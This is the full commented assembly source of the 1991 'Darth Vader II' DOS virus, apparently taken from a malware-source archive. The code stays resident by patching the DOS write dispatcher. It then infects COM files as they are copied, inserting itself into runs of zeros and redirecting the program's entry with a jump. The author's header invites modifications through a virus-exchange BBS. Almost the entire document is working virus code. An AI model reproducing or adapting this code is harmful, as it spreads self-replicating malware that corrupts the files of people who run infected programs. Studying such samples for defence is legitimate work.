2022-08-21 09:07:57 +00:00
|
|
|
|
;*******************************************************************************
|
|
|
|
|
;* *
|
|
|
|
|
;* D A R T H V A D E R ][ *
|
|
|
|
|
;* *
|
|
|
|
|
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
|
|
|
|
|
;* All Rights Reserved *
|
|
|
|
|
;* *
|
|
|
|
|
;* This is the second release of Darth Vader virus. Now he infect only *
|
|
|
|
|
;* those COM file, wich have area of 345 (or more) zeros. Virus put *
|
|
|
|
|
;* himself in this area and make jump to its code. As before, he can't *
|
|
|
|
|
;* be stoped by ANTI4US or disk write utilities - DOS function 40h *
|
|
|
|
|
;* (WRITE to File/Device). The virus operate in memory only, so there is *
|
|
|
|
|
;* no slowing in operations. This release of virus support DOS versions *
|
|
|
|
|
;* from 2.X till 4.X. *
|
|
|
|
|
;* You may make any modifications in this source, BUT let me know *
|
|
|
|
|
;* what have you done (drop message at Virus eXchange BBS) *
|
|
|
|
|
;* Waleri Todorov *
|
|
|
|
|
;*******************************************************************************
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
org 0 ; Virus start offset is 0
|
|
|
|
|
|
|
|
|
|
call NextLine ; Call next instruction
|
|
|
|
|
NextLine
|
|
|
|
|
pop si ; and calculate its present location
|
|
|
|
|
sub si,3
|
|
|
|
|
|
|
|
|
|
mov [0f0h],si ; Save own location in PSP
|
|
|
|
|
mov [0FEh],ax ; Save AX in PSP (Important for DOS
|
|
|
|
|
; external commands)
|
|
|
|
|
xor ax,ax ; Make DS point in interrupts vectors
|
|
|
|
|
mov ds,ax ;
|
|
|
|
|
mov es,[2Bh*4+2] ; Load ES with DOS segment from int2B
|
|
|
|
|
mov ax,9000h ; DS will point at 9000h
|
|
|
|
|
mov ds,ax ; usualy there are zeros
|
|
|
|
|
xor di,di ; ES:DI point first byte in DOS segment
|
|
|
|
|
|
|
|
|
|
NextZero
|
|
|
|
|
inc di ; Next byte
|
|
|
|
|
cmp di,0F00h ; If more than F00 bytes checked
|
|
|
|
|
ja ReturnControl ; then suppose no room and exit
|
|
|
|
|
push di ; else save tested offset
|
|
|
|
|
xor si,si ; DS:SI == 9000:0000 (zeros area)
|
|
|
|
|
mov cx,offset LastByte ; Size of virus
|
|
|
|
|
repe cmpsb ; Compare until equal
|
|
|
|
|
pop di ; Restore tested area offset
|
|
|
|
|
jcxz Found ; If tested area is fill with zeros->
|
|
|
|
|
jmp short NextZero ; else check next
|
|
|
|
|
Found ; <- Will install himself in this area
|
|
|
|
|
mov si,cs:[0F0h] ; Get own start address (maybe diff.)
|
|
|
|
|
mov cs:[0F2h],di ; Save offset in DOS segment
|
|
|
|
|
push cs ; Set DS point to virus segment
|
|
|
|
|
pop ds ;
|
|
|
|
|
mov cx,offset LastByte ; Size of virus
|
|
|
|
|
rep movsb ; Move itself in DOSSEG
|
|
|
|
|
push es ; Set DS point to DOSSEG
|
|
|
|
|
pop ds
|
|
|
|
|
|
|
|
|
|
mov si,di ; From this offset (after virus)
|
|
|
|
|
NextCall ; Will search DOS dispatcher
|
|
|
|
|
inc si ; Next byte
|
|
|
|
|
jz ReturnControl ; If segment overrun -> Return control
|
|
|
|
|
push si ; Save tested area offset
|
|
|
|
|
lodsw ; Load word from DS:SI
|
|
|
|
|
xchg ax,bx ; and put readed value in BX
|
|
|
|
|
lodsb ; Load byte from DS:SI
|
|
|
|
|
cmp bx,0FF36h ; Check 'magic' bytes
|
|
|
|
|
je CheclAl ; If first word match -> check last
|
|
|
|
|
AgainCall
|
|
|
|
|
pop si ; else restore offset
|
|
|
|
|
jmp short NextCall ; and go search next byte
|
|
|
|
|
CheclAl
|
|
|
|
|
cmp al,16h ; Check last 'magic' byte
|
|
|
|
|
jne AgainCall ; If not match go search next byte
|
|
|
|
|
|
|
|
|
|
pop si ; Else restore founded offset
|
|
|
|
|
push si ; and save it for further usage
|
|
|
|
|
mov di,cs:[0F2h] ; Get virus offset
|
|
|
|
|
mov [4],di ; and save it to DOSSEG
|
|
|
|
|
add di,offset HandleCall ; DI now adjusted to
|
|
|
|
|
movsw ; original dispatcher place
|
|
|
|
|
movsw ; Original dispatcher go at ES:DI for
|
|
|
|
|
movsb ; further calls from virus
|
|
|
|
|
pop di ; Restore founded offset
|
|
|
|
|
mov al,9Ah ; and put an absolute FAR CALL
|
|
|
|
|
stosb
|
|
|
|
|
mov ax,offset Handle ; Put offset of new dispatcher
|
|
|
|
|
add ax,cs:[0F2h] ; adjust him for different offsets
|
|
|
|
|
stosw ; and store offset in FAR CALL
|
|
|
|
|
mov ax,es ; put DOSSEG either in FAR CALL
|
|
|
|
|
stosw
|
|
|
|
|
|
|
|
|
|
; Since this moment virus is installed and operated in memory. If make a copy
|
|
|
|
|
; of a file with DOS copy or PCTools and if file have area of 345 (or more)
|
|
|
|
|
; zeros, the copy (not the original) will became infected. Copied file will
|
|
|
|
|
; operate correctly when you start him. The virus logic allow multiple copies
|
|
|
|
|
; of the virus in the memory so you may have file with several copies of virus
|
|
|
|
|
; (each memory copy put himself in file)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ReturnControl ; Return control to main program
|
|
|
|
|
push cs ; Set DS and ES to point at PSP
|
|
|
|
|
push cs
|
|
|
|
|
pop ds
|
|
|
|
|
pop es
|
|
|
|
|
mov di,100h ; Set ES:DI point start of file at PSP:100
|
|
|
|
|
push di ; Put DI in stack for dummy return
|
|
|
|
|
mov si,[0F0h] ; Get beginning of the virus
|
|
|
|
|
add si,offset First3 ; and adjust for first 3 instr.
|
|
|
|
|
movsw ; Move saved First instructions
|
|
|
|
|
movsb ;
|
|
|
|
|
mov ax,[0FEh] ; Restore saved AX (required by DOS
|
|
|
|
|
ret ; external command. Return control
|
|
|
|
|
; via dummy RET
|
|
|
|
|
Fail
|
|
|
|
|
jmp Do ; Requested jump! Don't touch here!
|
|
|
|
|
|
|
|
|
|
Handle
|
|
|
|
|
mov cs:[0Ah],ds ; Save write buffer segment
|
|
|
|
|
mov cs:[0Ch],dx ; Save write buffer offset
|
|
|
|
|
mov cs:[0Eh],cx ; Save write buffer size
|
|
|
|
|
|
|
|
|
|
push ax ; Save important registers
|
|
|
|
|
push bx
|
|
|
|
|
push cx
|
|
|
|
|
push es
|
|
|
|
|
push si
|
|
|
|
|
push di
|
|
|
|
|
|
|
|
|
|
cmp ah,40h ; If function is not 40 (WRITE)
|
|
|
|
|
jne Fail ; then call DOS with no infection
|
|
|
|
|
|
|
|
|
|
cmp cx,offset LastByte+10h ; Check if size of buffer
|
|
|
|
|
jb Fail ; is big enough to hold all virus
|
|
|
|
|
|
|
|
|
|
mov ax,1220h ; Get file handle internal table number
|
|
|
|
|
int 2Fh ; Via int2F (undocumented)
|
|
|
|
|
mov bl,es:[di] ; Load table number to BL
|
|
|
|
|
mov ax,1216h ; Get handle table address in ES:DI
|
|
|
|
|
int 2Fh ; Via int2F (undocumented)
|
|
|
|
|
add di,28h ; ES:DI will point file extension
|
|
|
|
|
|
|
|
|
|
push cs ; Set DS to point in virus
|
|
|
|
|
pop ds
|
|
|
|
|
|
|
|
|
|
mov si,offset Com ; SI point to COM string
|
|
|
|
|
add si,[4] ; adjust for different offsets
|
|
|
|
|
mov cx,3 ; Will compare 3 bytes
|
|
|
|
|
repe cmpsb ; Compare until equal
|
|
|
|
|
jne Do ; If not equal -> exit with no infect
|
|
|
|
|
|
|
|
|
|
push ds ; ES point to virus (DOS) segment
|
|
|
|
|
pop es
|
|
|
|
|
mov ds,cs:[0Ah] ; DS point to write buffer segment
|
|
|
|
|
mov si,cs:[0Ch] ; SI point to write buffer offset
|
|
|
|
|
mov di,offset First3 ; DI point to save area for
|
|
|
|
|
add di,cs:[4] ; first 3 instruction. Adjust fo offset
|
|
|
|
|
movsw ; Save first 3 instruction from write buffer
|
|
|
|
|
movsb ; to virus buffer
|
|
|
|
|
|
|
|
|
|
mov ax,9000h ; ES wil point zeros at 9000
|
|
|
|
|
mov es,ax
|
|
|
|
|
mov cx,cs:[0Eh] ; Restore write buffer size
|
|
|
|
|
SearchHole
|
|
|
|
|
xor di,di ; ES:DI point to 9000:0000
|
|
|
|
|
inc si ; SI point next byte from write buffer
|
|
|
|
|
dec cx ; Decrease remaining bytes
|
|
|
|
|
jz Do ; If test all buffer -> no infection
|
|
|
|
|
push cx ; Save remain buffer size
|
|
|
|
|
push si ; Save current buffer offset
|
|
|
|
|
mov cx,offset LastByte ; Will check for virus size only
|
|
|
|
|
repe cmpsb ; Check until equal
|
|
|
|
|
pop si ; Restore tested area offset
|
|
|
|
|
jcxz FoundHole ; If 345 zeros -> Go infect
|
|
|
|
|
pop cx ; Else restore remain buffer size
|
|
|
|
|
jmp short SearchHole ; And go check next byte
|
|
|
|
|
FoundHole
|
|
|
|
|
pop cx ; Restore remain buffer size
|
|
|
|
|
push si ; Save DS:SI (point to zeros in write buffer)
|
|
|
|
|
push ds ;
|
|
|
|
|
mov es,cs:[0Ah] ; ES:DI point to beginning of buffer
|
|
|
|
|
mov di,cs:[0Ch] ;
|
|
|
|
|
mov al,0E9h ; Put a NEAR JMP in buffer
|
|
|
|
|
stosb ;
|
|
|
|
|
sub si,cs:[0Ch] ; Calculate argument for JMP
|
|
|
|
|
sub si,3
|
|
|
|
|
mov ax,si ; and store it in buffer
|
|
|
|
|
stosw ;
|
|
|
|
|
|
|
|
|
|
pop es ; ES:DI now will point to zeros
|
|
|
|
|
pop di ; and the JMP address point here
|
|
|
|
|
; So virus will receive control first
|
|
|
|
|
push cs ; DS:SI will point to virus code in memory
|
|
|
|
|
pop ds
|
|
|
|
|
mov si,cs:[4] ; Adjust for different offsets
|
|
|
|
|
mov cx,offset LastByte ; Will move virus size only
|
|
|
|
|
rep movsb ; Move virus in write buffer
|
|
|
|
|
|
|
|
|
|
Do
|
|
|
|
|
pop di ; Restore important registers
|
|
|
|
|
pop si
|
|
|
|
|
pop es
|
|
|
|
|
pop cx
|
|
|
|
|
pop bx
|
|
|
|
|
pop ax
|
|
|
|
|
|
|
|
|
|
mov dx,cs:[0Ch] ; Restore write buffer address
|
|
|
|
|
mov ds,cs:[0Ah] ; to DS:DX
|
|
|
|
|
|
|
|
|
|
HandleCall
|
|
|
|
|
db 5 dup (0) ; Here come original DOS jump instr.
|
|
|
|
|
; Usualy it is CALL SS:[MemOffs]
|
|
|
|
|
; In original DOS jump instr. is placed
|
|
|
|
|
; a FAR CALL to new WRITE handler
|
|
|
|
|
retf ; Return to DOS
|
|
|
|
|
|
|
|
|
|
First3 ; Here come first 3 instruction of infected file
|
|
|
|
|
int 20h ; Now they are dummy terminate
|
|
|
|
|
nop
|
|
|
|
|
Com
|
|
|
|
|
db 'COM' ; String to check for any COM file
|
|
|
|
|
|
|
|
|
|
db 'Darth Vader' ; Virus signature
|
|
|
|
|
|
|
|
|
|
LastByte ; Dummy label to compute virus size
|
|
|
|
|
nop
|
2021-01-12 23:38:47 +00:00
|
|
|
|
|